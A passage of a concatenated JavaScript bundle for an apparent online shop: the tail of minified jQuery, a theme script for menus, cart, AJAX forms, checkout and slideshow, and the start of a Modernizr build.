c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)&&b!==i&&b!==h){if(f.support.fixedPosition&&k.position==="fixed")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d&&(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&c.overflow!=="visible"&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position==="relative"||k.position==="static")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition&&k.position==="fixed"&&(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); jQuery(function($) { /* ==================== DECLARATIONS ==================== */ var win = $(window), body = $('BODY'), mainMenu = $('UL#main-menu'), mainMenuCont = $('DIV.sc_menu_wrapper '), contentWrapper = $('DIV#content-wrapper'), navExtra = $('DIV#nav-extra'), navExtraList = $('UL#nav-extra-list'), bookmarkShareBtn = $('LI#bookmark-share-btn'), subscribeBtn = $('LI#subscribe-btn'), shoppingCartBtn = $('LI#shopping-cart-btn'), bookmarkSharePanel = $('DIV#bookmark-share-panel'), newsletterPanel = $('DIV#newsletter-panel'), shoppingCartPanel = $('DIV#shopping-cart-panel'), shoppingCartList = $('#shopping-cart-list'), orderCartList = $('#order-cart-list'), newsletterForm = $('FORM#newsletter-form'), newsletterFormSubmitBtn = $('INPUT#newsletter-form-submit-btn'), newsletterFormMsg = $('LI#newsletter-form-msg'), bgSlideshow = $('DIV#bg-slideshow'), bgImagesToResize = [], notification = $('<div class="see-through-bg" id="notification">wrewerwer</div>'), four_cols = $('UL.four-cols'), three_cols = $('UL.three-cols'), thumbs_listing = $('.thumbs-listing'), scroll_pane = $('.scroll-pane'), showreel = $('#showreel-module'); /* ================ POSITION ================ */ var getPosition = function(objW, objH, contW, contH, alignH, alignV, offsetH, offsetV) { if (typeof objW === 'number' && typeof objH === 'number' && typeof contW === 'number' && typeof contH === 'number') { if (typeof alignH !== 'string') alignH = 'center'; if (typeof alignV !== 'string') alignV = 'center'; if (typeof offsetH !== 'number') offsetH = 0; if (typeof offsetV !== 'number') offsetV = 0; var p = {}; if (alignH == 'left') { p.left = offsetH; } else if (alignH == 'right') { p.left = offsetH + contW - objW; } else { p.left = offsetH + Math.round((contW - objW) * 0.5); } if (alignV == 'top') { p.top = offsetV; } else if (alignV == 'bottom') { p.top = offsetV + contH - objH; } else { p.top = offsetV + Math.round((contH - objH) * 0.5); } return p; } return { left : 0, top : 0 } }; /* ============= SCALE ============= */ var getScale = function(objW, objH, contW, contH, scale) { if (typeof objW === 'number' && typeof objH === 'number' && typeof contW === 'number' && typeof contH === 'number') { if (typeof scale !== 'string') scale = 'forceFit'; var s = {}; if (scale == 'none' || scale == 'fit' && contW >= objW && contH >= objH || scale == 'fill' && contW <= objW && contH <= objH) { s.width = objW; s.height = objH; } else if (scale == 'stretch') { s.width = contW; s.height = contH; } else { var objR = objH > 0 ? objW / objH : 0; rFlag = objR < (contH != 0 ? contW / contH : 0); if ((scale == 'fill' || scale == 'forceFill') && !rFlag || (scale == 'fit' || scale == 'forceFit') && rFlag) { s.height = contH; s.width = Math.round(contH * objR); } else { s.width = contW; s.height = Math.round(objR != 0 ? contW / objR : 0); } } return s; } return { width : 0, height : 0 }; }; /* ==================== NOTIFICATION ==================== */ notification .fadeTo(0, 0) .css('display', 'none') .prependTo(body) .click(function(e) { hideNotification(); e.preventDefault(); }); var notificationTimer = false; var resetNotificationTimer = function() { if (notificationTimer != false) { clearTimeout(notificationTimer); notificationTimer = false; } } var showNotification = function(content) { resetNotificationTimer(); notification .stop() .fadeTo(0, 0) .html(content) .css('display', 'block') .fadeTo('slow', 1, function() { resetNotificationTimer(); notificationTimer = setTimeout(function() { hideNotification(); }, 2000); }); }; var hideNotification = function() { resetNotificationTimer(); notification .stop() .fadeTo('slow', 0, function() { notification.css('display', 'none'); }); }; /* ========================= CHECK OBJECT TYPE ========================= */ var is = function(kind, obj) { var className = Object.prototype.toString.call(obj).slice(8, -1); return (typeof obj !== 'undefined') && obj !== null && className === kind; }; /* ===================== ARRAY SHUFFLE ===================== */ var arrayShuffle = function(arr) { for (var i = arr.length; i > 1; --i) { arr.push(arr.splice(parseInt(Math.random() * i), 1)[0]); } }; /* ================================= FIX LAST ITEM OF USER BAR ================================= */ (function() { $('NAV#user-bar').children('UL').first().children('LI').last().addClass('last'); })(); /* ======================================= RADIO AND CHECKBOX REPLACEMENTS ======================================= */ /*(function() { var groups = {}; $('input[type=radio]').add('input[type=checkbox]').each(function() { var input = $(this), mark = $('<span>').addClass('check-box-mark'), checkbox = $('<span>').addClass('check-box').append(mark); if (input.attr('type') == 'radio') { var group = input.attr('name'); if (group) { if (!groups[group]) groups[group] = $('input[name=' + group + ']'); input.data('group', groups[group]); } } input.before(checkbox).appendTo(checkbox).change(function() { if (input.is(':checked')) { mark.css('display', 'block'); if (input.data('group')) input.data('group').not(input).change(); } else { mark.css('display', 'none'); } }).change(); }); groups = null; })();*/ /* ===================== GENERAL FIXES ===================== */ $('a[href=#]').removeAttr('href').addClass('nolink'); $('DIV.module').children('header').first().css('z-index', 150); /*$('TABLE').each(function() { var tr = $(this).find('TR'); tr.first().addClass('first'); tr.last().addClass('last'); tr.each(function() { var td = $(this).children('TD'); td.first().addClass('first'); td.last().addClass('last'); }); });*/ /* ================= DROP LIST ================= */ (function() { $('DIV.drop-list').each(function() { var self = $(this).removeClass('opened'), topBtn = self.children('span').first(), list = self.children('ul').first().fadeTo(0, 0).css('display','none'), opened = false; self.mousedown(function(e) { if (opened) { opened = false; list.stop().fadeTo('fast', 0, function() { self.removeClass('opened'); list.css('display', 'none') }); } else { opened = true; self.addClass('opened'); list.stop().css('display', 'block').fadeTo('fast', 1); } e.preventDefault(); }); }); })(); /* ================= MAIN MENU ================= */ (function() { mainMenu.children('li').has('ul').not('.selected').each(function() { var li = $(this); li.data('oh', li.height()) .data('ch', li.children('a').first().outerHeight()) .css('height', li.data('ch')) .hover(function() { li.stop().animate({ height: li.data('oh') }); }, function() { li.stop().animate({ height: li.data('ch') }); }); }); })(); /* ========================= VERIFICATION CODE ========================= */ $('.verification-code').each(function() { var vc = $(this), img = vc.find('IMG.verification-image').first(), refresh = vc.find('A.refresh-button').first(); img.click(function(e) { e.preventDefault(); }); refresh .data('code-src', refresh.attr('href')) .removeAttr('href') .click(function(e) { img.attr('src', refresh.data('code-src') + '?nc=' + (new Date).getTime()); e.preventDefault(); }); }); /* =================== TEXT INPUTS =================== */ $('INPUT[data-default-value]').each(function() { var inp = $(this); inp .focus(function() { if (inp.val() == inp.data('default-value')) inp.val(''); }) .blur(function() { if (inp.val() == '') inp.val(inp.data('default-value')); }); }); /* ================= AJAX FORM ================= */ var initAjaxForm = function(form, formSubmitBtn, formMsg) { if (form.length > 0) { var waitMsg = formMsg.html(); formMsg.empty(); form.submit(function(e) { formMsg.html(waitMsg); formSubmitBtn.attr('disabled', true); $.ajax( { url : form.attr('action'), type : form.attr('method'), data : form.serialize(), dataType : 'text', success : function(data) { formMsg.html(data); formSubmitBtn.attr('disabled', false); if (data.indexOf('class="success"') > 0) { if ((typeof form.attr('id') == 'undefined') || !jQuery.inArray ( form.attr("id") , ["dummy" , "account-info-form" , "shop-info-form" , "step1-form" , "step2-form" , "step3-form"] )) { form.find(':input') .not(':button, :submit, :reset, :hidden') .val('') .attr('checked', false) .attr('selected', false); } else { } } } }); e.preventDefault(); }); } }; /* ============ CART ============ */ (function() { if (shoppingCartList.length > 0 || orderCartList.length > 0) { var prefix = 'shopping'; if (orderCartList.length > 0) { shoppingCartList = orderCartList; prefix = 'order'; if (shoppingCartBtn.length > 0) shoppingCartBtn.remove(); } var shoppingCartListInit = function() { //$('UL#' + prefix + '-cart-entries').children('LI').children('UL').each(function() shoppingCartList.find('TABLE.list TBODY TR').each(function() { var quantityLi = $(this).children('TD.quantity').first(), minusBtn = quantityLi.children('A.quantity-minus-btn').first(), quantityInp = quantityLi.children('INPUT[type=text]').first(), quantity = 1, plusBtn = quantityLi.children('A.quantity-plus-btn').first(), quantityModified = false, refreshQuantity = function() { var newQuantity = quantity; if ($.isNumeric(quantityInp.val())) { newQuantity = Math.max(1, Math.min(999, parseInt(quantityInp.val()))); } if (quantity != newQuantity) { quantityModified = true; quantity = newQuantity; } quantityInp.val(quantity); }, actionLi = $(this).children('TD.action'), removeBtn = actionLi.children('A.icon-button'); refreshQuantity(); quantityModified = false; minusBtn .removeAttr('href') .click(function(e) { if (quantity > 1) { quantity--; quantityInp.val(quantity); quantityModified = true; } e.preventDefault(); }) .mouseleave(function(e) { if (quantityModified) { shoppingCartList.submit(); quantityModified = false; } e.preventDefault(); }); plusBtn .removeAttr('href') .click(function(e) { quantity++; quantityInp.val(quantity); quantityModified = true; e.preventDefault(); }) .mouseleave(function(e) { if (quantityModified) { shoppingCartList.submit(); quantityModified = false; } e.preventDefault(); }); quantityInp.blur(function() { refreshQuantity(); if (quantityModified) { shoppingCartList.submit(); quantityModified = false; } }); removeBtn.removeAttr('href').click(function(e) { quantity = 0; quantityInp.val(quantity); shoppingCartList.submit(); e.preventDefault(); }); }); }; shoppingCartList.submit(function(e) { $.ajax( { url : shoppingCartList.attr('action'), type : shoppingCartList.attr('method'), data : shoppingCartList.serialize(), dataType : 'text', success : function(data) { shoppingCartList.empty(); shoppingCartList.html(data); shoppingCartListInit(); win.resize(); } }); e.preventDefault(); }); shoppingCartListInit(); } })(); /* ================= NAV EXTRA ================= */ (function() { var p = (navExtra.width() - navExtraList.width()) * .5; navExtraList.css({ width: navExtra.width() - p, paddingLeft: p }); var panelBtns = $([]); if (bookmarkShareBtn.length > 0 && bookmarkSharePanel.length > 0) { panelBtns.push(bookmarkShareBtn.data('panel', bookmarkSharePanel)); } if (subscribeBtn.length > 0 && newsletterPanel.length > 0) { panelBtns.push(subscribeBtn.data('panel', newsletterPanel)); } if (shoppingCartBtn.length > 0 && shoppingCartPanel.length > 0) { panelBtns.push(shoppingCartBtn.data('panel', shoppingCartPanel)); } var select = function(btn) { if (!btn.hasClass('selected')) { var panel = btn.addClass('selected').data('panel'); panelBtns.each(function() { if (btn != this) deSelect(this); }); panel.stop().css('visibility', 'visible').fadeTo('slow', 1); if (btn === subscribeBtn) { newsletterForm[0].reset(); newsletterFormMsg.empty(); } } }, deSelect = function(btn) { if (btn.hasClass('selected')) { var panel = btn.removeClass('selected').data('panel'); panel.stop().fadeTo('fast', 0, function() { panel.css('visibility', 'hidden'); }); } }, toggle = function(btn) { if (btn.hasClass('selected')) deSelect(btn); else select(btn); }; panelBtns.each(function() { var btn = this, panel = btn.data('panel'), panelX = panel.children('header').first().children('a.icon-button').has('span.x-icon').first(); if (btn.hasClass('selected')) panel.css('visibility', 'visible'); else panel.fadeTo(0, 0); btn.click(function() { toggle(btn); }); panelX.click(function() { deSelect(btn); }); }); })(); /* ======================= SAME AS BILLING ======================= */ (function() { var initSameAsBilling = function(sameAsBilling, billingForm, shippingForm) { if (sameAsBilling.length > 0 && billingForm.length > 0 && shippingForm.length > 0) { sameAsBilling.change(function() { if (sameAsBilling.is(':checked')) { billingForm.find(':input').each(function() { var el = $(this), el2 = shippingForm.find('[name=' + el.attr('name').replace('billing', 'shipping') + ']'); el2.val(el.val()); if (el2.is('select') && el2.change) el2.change(); }); } }); } }; initSameAsBilling($('INPUT#same-as-billing'), $('#billing-form'), $('#shipping-form')); })(); /* ======================= NEWSLETTER FORM ======================= */ initAjaxForm ( $('FORM#newsletter-form'), $('INPUT#newsletter-form-submit-btn'), $('LI#newsletter-form-msg') ); /* ==================== CONTACT FORM ===================== */ initAjaxForm ( $('DIV#contact-form').children('FORM').first(), $('INPUT#contact-form-submit-btn'), $('LI#contact-form-msg') ); /* ==================== SIGN IN FORM ==================== */ initAjaxForm ( $('FORM#sign-in-form'), $('INPUT#sign-in-form-submit-btn'), $('LI#sign-in-form-msg') ); /* ====================== JOB APPLY FORM ====================== */ initAjaxForm ( $('#apply-form').children('FORM'), $('INPUT#apply-form-submit-btn'), $('LI#apply-form-msg') ); /* ==================== COMMENT FORM ==================== */ initAjaxForm ( $('#comment-form').children('FORM'), $('INPUT#comment-form-submit-btn'), $('LI#comment-form-msg') ); /* ==================== RECOVER FORM ==================== */ initAjaxForm ( $('FORM#recover-form'), $('INPUT#recover-form-submit-btn'), $('LI#recover-form-msg') ); /* ===================== REGISTER FORM ===================== */ initAjaxForm ( $('FORM#register-form'), $('INPUT#register-form-submit-btn'), $('LI#register-form-msg') ); /* ========================= ACCOUNT INFO FORM ========================= */ initAjaxForm ( $('FORM#account-info-form'), $('INPUT#account-info-form-submit-btn'), $('LI#account-info-form-msg') ); /* ====================== SHOP INFO FORM ====================== */ initAjaxForm ( $('FORM#shop-info-form'), $('INPUT#shop-info-form-submit-btn'), $('LI#shop-info-form-msg') ); if ($('#shop-info-form').length){ form = $('#shop-info-form'); sel = form.find("select[name='user_billing_country']"); sel.val( sel.attr("data-selected") ); sel2 = form.find("select[name='user_shipping_country']"); sel2.val( sel2.attr("data-selected") ); } /* ================= COUNTDOWN ================= */ (function() { $('UL.timer').each(function() { var ul = $(this), ul_parent = ul.parent(); refresh = false, daysNum = ul.find('LI.days > SPAN.num').first(), hoursNum = ul.find('LI.hours > SPAN.num').first(), minutesNum = ul.find('LI.minutes > SPAN.num').first(), secondsNum = ul.find('LI.seconds > SPAN.num').first(), timeError = (typeof ul.data('server-time') == 'undefined') ? 0 : parseFloat(ul.data('server-time')) * 1000 - (new Date).getTime(), endMs = (new Date(ul.data('year'), parseInt(ul.data('month')) - 1, ul.data('day'), ul.data('hour'), ul.data('minute'), ul.data('second'), 0)).getTime(), update = function() { var initDif, dif = initDif = Math.floor(Math.max(0, endMs - (new Date).getTime() - timeError) / 1000); var days = Math.floor(dif / 86400); if (days > 999) days = 999; else if (days < 10) days = '00' + days; else if (days < 100) days = '0' + days; dif = dif % 86400; var hours = Math.floor(dif / 3600); if (hours > 23) hours = 23; else if (hours < 10) hours = '0' + hours; dif = dif % 3600; var minutes = Math.floor(dif / 60); if (minutes > 59) minutes = 59; else if (minutes < 10) minutes = '0' + minutes; dif = dif % 60; var seconds = Math.floor(dif); if (seconds > 59) seconds = 59; else if (seconds < 10) seconds = '0' + seconds; daysNum.html(days); hoursNum.html(hours); minutesNum.html(minutes); secondsNum.html(seconds); if (initDif > 0) setTimeout(function() { update(); }, 1000); else if (refresh) window.location.reload(true); refresh = true; }; update(); var padd=Math.floor((ul_parent.width()-ul.width())/2); ul.css({'padding-left':padd+'px','padding-right':padd+'px',}) }); })(); /* =================== STEP 1 FORM =================== */ initAjaxForm ( $('FORM#step1-form'), $('INPUT#step1-form-submit-btn'), $('LI#step1-form-msg') ); if ($('#step1-form').length){ form = $('#step1-form'); sel = form.find("select[name='order_billing_country']"); sel.val( sel.attr("data-selected") ); sel2 = form.find("select[name='order_shipping_country']"); sel2.val( sel2.attr("data-selected") ); } /* =================== STEP 2 FORM =================== */ initAjaxForm ( $('FORM#step2-form'), $('INPUT#step2-form-submit-btn'), $('LI#step2-form-msg') ); /* =================== STEP 4 FORM =================== */ initAjaxForm ( $('DIV#authorize > FORM'), $('INPUT#cc-form-submit-btn'), $('LI#cc-form-msg') ); /* ========================= ASK QUESTION FORM ========================= */ initAjaxForm ( $('FORM#ask-question-form'), $('INPUT#ask-question-form-submit-btn'), $('LI#ask-question-form-msg') ); /* ============================ THUMBS LISTING CLEAR ============================ */ (function() { $('DIV.thumbs-listing').each(function() { var ul = $(this).children('UL').first(); ul.children('LI').each(function(i) { if ( ul.hasClass('three-cols') && i % 3 == 0 || ul.hasClass('four-cols') && i % 4 == 0 || ul.hasClass('five-cols') && i % 5 == 0 || ul.hasClass('six-cols') && i % 6 == 0 || ul.hasClass('seven-cols') && i % 7 == 0 ) { $(this).css('clear', 'left'); } }); }); })(); /* ===================================== FIX MODULE HEADER NAV BUTTONS ===================================== */ $('DIV.module').children('header').has('UL.module-header-nav-btns').each(function() { var header = $(this); if (header.children('UL.module-header-nav-btns').first().is(':last-child')) { header.addClass('next-prev-to-right'); } }); /* ========================== ADD TO CART BUTTON ========================== */ (function() { $('INPUT.product-add-to-cart-btn').each(function() { var submitBtn = $(this), form = submitBtn.closest('FORM').first(); form.submit(function(e) { $.ajax( { url : form.attr('action'), type : form.attr('method'), data : form.serialize(), dataType : 'text', success : function(data) { shoppingCartList.submit(); showNotification(data); } }); e.preventDefault(); }); }); })(); /* ======================= PRODUCT REVIEWS ======================= */ (function() { var productReviews = $('ARTICLE#product-reviews'); if (productReviews.length > 0) { var productReviewsList = productReviews.children('UL#product-reviews-list'), loadMoreBtn = productReviews.children('A#load-more-product-reviews'), loadMoreAction = loadMoreBtn.attr('href'), pageCount = 2; loadMoreBtn.removeAttr('href').click(function(e) { if (!loadMoreBtn.hasClass('disabled')) { loadMoreBtn.addClass('disabled'); $.ajax( { url : loadMoreAction, type : 'post', data : 'pid=' + loadMoreBtn.data('pid') + '&p=' + pageCount, dataType : 'text', success : function(data) { if (data != '') { //console.log(data); productReviewsList.append(data); loadMoreBtn.removeClass('disabled'); win.resize(); } else { loadMoreBtn.remove(); } } }); pageCount++; } e.preventDefault(); }); initAjaxForm ( $('FORM#review-form'), $('INPUT#review-form-submit-btn'), $('LI#review-form-msg') ); } })(); /* ====================== TABBED CONTENT ====================== */ (function() { var lis = $('UL').children('LI[data-content]'); if (lis.length > 0) { var selected = false; lis.each(function() { var li = $(this), content = $('#' + li.data('content')); if (content.length > 0) { li.data('content', content); if (li.hasClass('selected') && !selected) { selected = li; content.css('display', 'block'); } else { li.removeClass('selected'); content.css('display', 'none'); } li.click(function(e) { if (!li.hasClass('selected')) { if(selected) { selected.removeClass('selected'); selected.data('content').css('display', 'none'); } selected = li; li.addClass('selected'); content.css('display', 'block'); } win.resize(); e.preventDefault(); e.stopPropagation(); }); win.resize(); } }); } })(); /* ============================ BACKGROUND SLIDESHOW ============================ */ var bgImageResize = function(img) { return img .css(getScale(img.data('ow'), img.data('oh'), win.width(), win.height(), 'forceFill')) .css(getPosition(img.width(), img.height(), win.width(), win.height())); }; (function() { bgSlideshow.on('contextmenu mousedown', function(e) { e.preventDefault(); }); var ul = bgSlideshow.children('ul').first(), images = [], numImages = 0; ul.children('li').each(function(i) { images[i] = $(this).children('img').first().data('src'); numImages++; }); ul.remove(); ul = null; if (numImages > 0) { arrayShuffle(images); var crtIndex = 0, crtImage = false, newImage = false, timer = false, displayNewImage = function() { if (timer) { clearTimeout(timer); timer = false; } newImage = $('<img>') .fadeTo(0, 0) .load(function() { bgSlideshow.append(newImage); if (crtImage) bgImagesToResize = [crtImage, newImage]; else bgImagesToResize = [newImage]; bgImageResize(newImage.data({ ow: newImage.width(), oh: newImage.height() })) .fadeTo(crtImage ? 5000 : 0, 1, function() { if (crtImage) crtImage.remove(); crtImage = newImage; bgImagesToResize = [crtImage]; if (numImages > 1) { timer = setTimeout(function() { if (crtIndex >= numImages - 1) crtIndex = 0; else crtIndex++; displayNewImage(); }, 15000); } }); }) .attr('src', images[crtIndex]); }; displayNewImage(); } })(); /* ===================== MESSAGE BOXES ===================== */ (function() { $('DIV.message').one('click', function(e) { var msg = $(this); msg.fadeTo('slow', 0, function() { msg.remove(); win.resize(); }); e.preventDefault(); }); })(); /* ===================== PAYMENT FORMS ===================== */ (function() { if($('DIV#shop-step4-module').length > 0) { var initPaymentForm = function(formWrapper) { var form = formWrapper.children('form').first(); if (form.length > 0) { var formSubmitBtn = form.find('INPUT[type=submit]').first(), formMsg = form.find('LI').has('DIV.wait').first(), waitMsg = formMsg.html(); formMsg.empty(); form.submit(function(e) { formMsg.html(waitMsg); formSubmitBtn.attr('disabled', true); $.ajax( { url : form.attr('action'), type : form.attr('method'), data : form.serialize(), dataType : 'text', success : function(data) { formWrapper.html(data); win.resize(); } }); e.preventDefault(); }); } }; initPaymentForm($('DIV#paypal')); initPaymentForm($('DIV#offline')); initPaymentForm($('DIV#pay-with-moneybookers')); } })(); /* ============================ HANDLE WINDOW RESIZE ============================ */ function makeScrollable(wrapper, scrollable){ // Get jQuery elements var wrapper = $(wrapper), scrollable = $(scrollable); wrapper.css({overflow: 'hidden'}); enable(); function enable(){ // height of area at the top at bottom, that don't respond to mousemove var inactiveMargin = 99; // Cache for performance var wrapperWidth = wrapper.width(); var wrapperHeight = wrapper.height(); // Using outer height to include padding too var scrollableHeight = scrollable.outerHeight() + 2*inactiveMargin; var lastTarget; //When user move mouse over menu wrapper.mousemove(function(e){ // Save target lastTarget = e.target; var wrapperOffset = wrapper.offset(); // Scroll menu var top = (e.pageY - wrapperOffset.top) * (scrollableHeight - wrapperHeight) / wrapperHeight - inactiveMargin; if (top < 0){ top = 0; } wrapper.scrollTop(top); }); // Setting interval helps solving perfomance problems in IE var interval = setInterval(function(){ if (!lastTarget) return; }, 200); }} mainMenu.wrap('<div class="sc_menu_wrapper"><div class="sc_menu">'); var mainMenuCont = $('DIV.sc_menu_wrapper '); win .resize(function() { contentWrapper .width(win.width() - contentWrapper.offset().left) .css('top', Math.max(0, (win.height() - contentWrapper.outerHeight()) * .5)); mainMenuCont.height(win.height() - mainMenuCont.position().top - navExtra.height()); makeScrollable("div.sc_menu_wrapper", "div.sc_menu"); var i = bgImagesToResize.length; while (i--) { bgImageResize(bgImagesToResize[i]); } }) .one('load', function() { win.resize(); }) .resize(); /* ==================== PRETTY PHOTO ==================== */ if ($.prettyPhoto) { $("a[rel^='prettyPhoto']").prettyPhoto(); } /* ==================== SET HEIGHT ==================== */ if (four_cols.length || three_cols.length){ var temp_h=0; thumbs_listing.children('ul').children('li').each(function(){ var li = $(this).children('.caption'); if (li.height()>temp_h){ temp_h=li.height(); } }); thumbs_listing.children('ul').children('li').children('.caption').css('height',temp_h) } /* ==================== SET HEIGHT ==================== */ if (scroll_pane.length) scroll_pane.jScrollPane({ horizontalDragMinWidth: 26, horizontalDragMaxWidth: 26 }); /* ==================== SHOWREEL ==================== */ if (showreel.length) var data_stay=showreel.find('.slides_container').attr('data-stay')*1000; showreel.slides({ preload: true, preloadImage: 'css/img/slidesjs/loading.gif', play: data_stay, pause: 2500, hoverPause: true, animationStart: function(current){ $('.caption').animate({bottom:-40},100); $('.optional').animate({opacity:0},100); }, animationComplete: function(current){ $('.caption').animate({bottom:0},200); $('.optional').animate({opacity:1},300); }, slidesLoaded: function() { $('.caption').animate({bottom:0},200); } }); $('.bordered').hover( function(){ $(this).animate({ borderLeftWidth: "7px", borderTopWidth: "7px", borderRightWidth: "7px", borderBottomWidth: "7px",width:'-=14',height:'-=14',opacity:0.40}, 100); }, function(){ $(this).animate({ borderLeftWidth: "0px", borderTopWidth: "0px", borderRightWidth: "0px", borderBottomWidth: "0px",width:'+=14',height:'+=14',opacity:0}, 100); } ) /* ===================== FORMS STYLING ===================== */ if ($.jqTransform || $.fn.jqTransform) { $("FORM").jqTransform(); } }); function loadComments(url , page) { $.ajax( { url : "ajax.comments.php", type : "post", data : "url=" + escape(url) + "&page=" + page, dataType : 'text', success : function(data) { $('#comments-data').html(data); } }); } /* Modernizr 2.0.6 (Custom Build) | MIT & BSD * Build: http://www.modernizr.com/download/#-fontface-boxshadow-opacity-rgba-textshadow-cssgradients-csstransitions-iepp-respond-mq-cssclasses-teststyles-testprop-testallprops-prefixes-domprefixes */ ;window.Modernizr=function(a,b,c){function D(a,b){var c=a.charAt(0).toUpperCase()+a.substr(1),d=(a+" "+o.join(c+" ")+c).split(" ");return C(d,b)}function C(a,b){for(var d in a)if(k[a[d]]!==c)return b=="pfx"?a[d]:!0;return!1}function B(a,b){return!!~(""+a).indexOf(b)}function A(a,b){return typeof a===b}function z(a,b){return y(n.join(a+";")+(b||""))}function y(a){k.cssText=a}var d="2.0.6",e={},f=!0,g=b.documentElement,h=b.head||b.getElementsByTagName("head")[0],i="modernizr",j=b.createElement(i),k=j.style,l,m=Object.prototype.toString,n=" -webkit- -moz- -o- -ms- -khtml- ".split(" "),o="Webkit Moz O ms Khtml".split(" "),p={},q={},r={},s=[],t=function(a,c,d,e){var f,h,j,k=b.createElement("div");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:i+(d+1),k.appendChild(j);f=["&shy;","<style>",a,"</style>"].join(""),k.id=i,k.innerHTML+=f,g.appendChild(k),h=c(k,a),k.parentNode.removeChild(k);return!!h},u=function(b){if(a.matchMedia)return matchMedia(b).matches;var c;t("@media "+b+" { #"+i+" { position: absolute; } }",function(b){c=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle).position=="absolute"});return c},v,w={}.hasOwnProperty,x;!A(w,c)&&!A(w.call,c)?x=function(a,b){return w.call(a,b)}:x=function(a,b){return b in a&&A(a.constructor.prototype[b],c)};var E=function(a,c){var d=a.join(""),f=c.length;t(d,function(a,c){var d=b.styleSheets[b.styleSheets.length-1],g=d.cssRules&&d.cssRules[0]?d.cssRules[0].cssText:d.cssText||"",h=a.childNodes,i={};while(f--)i[h[f].id]=h[f];e.fontface=/src/i.test(g)&&g.indexOf(c.split(" ")[0])===0},f,c)}(['@font-face {font-family:"font";src:url("https://")}'],["fontface"]);p.rgba=function(){y("background-color:rgba(150,255,150,.5)");return B(k.backgroundColor,"rgba")},p.boxshadow=function(){return D("boxShadow")},p.textshadow=function(){return b.createElement("div").style.textShadow===""},p.opacity=function(){z("opacity:.55");return/^0.55$/.test(k.opacity)},p.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";y((a+n.join(b+a)+n.join(c+a)).slice(0,-a.length));return B(k.backgroundImage,"gradient")},p.csstransitions=function(){return D("transitionProperty")},p.fontface=function(){return e.fontface};for(var F in p)x(p,F)&&(v=F.toLowerCase(),e[v]=p[F](),s.push((e[v]?"":"no-")+v));y(""),j=l=null,a.attachEvent&&function(){var a=b.createElement("div");a.innerHTML="<elem></elem>";return a.childNodes.length!==1}()&&function(a,b){function s(a){var b=-1;while(++b<g)a.createElement(f[b])}a.iepp=a.iepp||{};var d=a.iepp,e=d.html5elements||"abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",f=e.split("|"),g=f.length,h=new RegExp("(^|\\s)("+e+")","gi"),i=new RegExp("<(/*)("+e+")","gi"),j=/^\s*[\{\}]\s*$/,k=new 